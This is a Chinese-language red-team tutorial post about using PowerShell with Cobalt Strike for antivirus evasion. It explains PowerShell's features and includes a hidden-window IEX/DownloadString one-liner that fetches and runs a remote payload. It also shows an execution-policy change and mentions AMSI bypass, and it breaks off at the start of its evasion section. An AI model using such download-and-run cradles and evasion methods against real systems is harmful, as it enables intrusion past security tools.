可锐资源网

技术资源分享平台,提供编程学习、网站建设、脚本开发教程

CS-PowerShell 免杀实战(万字长文详解)

本系列文章仅供网络安全研究人员在合法授权下学习与研究使用,严禁用于任何非法目的。违者后果自负。
前言

在 Windows 系统中,PowerShell 是一款集命令行、脚本语言、自动化框架于一体的高级工具。它最初由微软为系统管理员设计,目的是替代功能单一、表达力弱的传统 cmd.exe。PowerShell 基于 .NET 平台构建,支持强类型的对象传递模型,拥有完善的模块体系和丰富的 API 访问能力,可用于从简单命令到复杂自动化的全流程控制。

与 PowerShell 相对的,cmd(Command Prompt) 是一种基于 DOS 时代遗留的命令行接口,虽然使用简单,但功能有限,几乎不支持脚本逻辑控制,也不具备对象操作能力,主要依赖外部工具进行数据处理。这种差异可以类比 Linux/Unix 中的 shell 演化:

平台
传统 Shell
增强 Shell
特性对比说明
Windows
cmd.exe
PowerShell
cmd 面向文本、指令原始,PowerShell 面向对象、支持自动化
Linux/Unix
sh
bash / zsh / fish
sh 只适合基础命令交互,bash 则支持脚本、变量、流程控制等

简而言之:PowerShell 之于 cmd,正如 bash 之于 sh —— 不只是“加强版”,而是范式转变。

对于渗透测试的意义
在渗透测试中,PowerShell 被广泛视为 Windows 平台上的“战术级工具”。它无需额外安装,权限高,功能全,可直接调用系统 API、加载 shellcode、执行远程脚本,极大地提升了攻击操作的灵活性与隐蔽性。例如,只需一行命令,便可实现远程脚本的内存加载与执行:
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.3/payload.ps1')"
此类“无文件执行”手法,不落磁、不触盘,配合 AMSI 绕过与命令混淆,成为当前红队作战中最常见、最高效的上线方式之一。PowerShell,不只是脚本语言,更是攻防对抗中的隐秘通道。
核心特性

1、对象管道:支持命令之间传递 .NET 对象,结构清晰,便于过滤与处理;

2、统一 API 调用模型:可访问 WMI、COM、注册表、网络、文件系统等多种资源;

3、脚本语言能力:支持函数、条件判断、循环、模块化、错误处理等完整语法结构;

4、远程管理:通过 PowerShell Remoting 可实现跨主机远程执行与会话控制;

5、可扩展性强:支持自定义模块、加载 DLL、调用 Windows API、与 C# 无缝集成;

6、适配攻防场景:可用于持久化、提权、信息收集、AV/EDR 绕过等红队用途。

Cobalt Strike 中的应用

PowerShell 在 Cobalt Strike(CS)中的应用极为广泛,既可以作为初始渗透载荷的“投递工具”,也可以作为 Beacon 的“模块执行器”。

1、文件形式,文件名后缀.ps1
.\test.ps1 powershell .\test.ps1 

测试时,需放开当前用户的脚本执行权限

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -Force
2、命令形式

(1)PowerShell Command

(2)Web 投递

免杀实战
一、32 位文件形式

用CS生成的默认 32 位样本,杀软秒吞

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言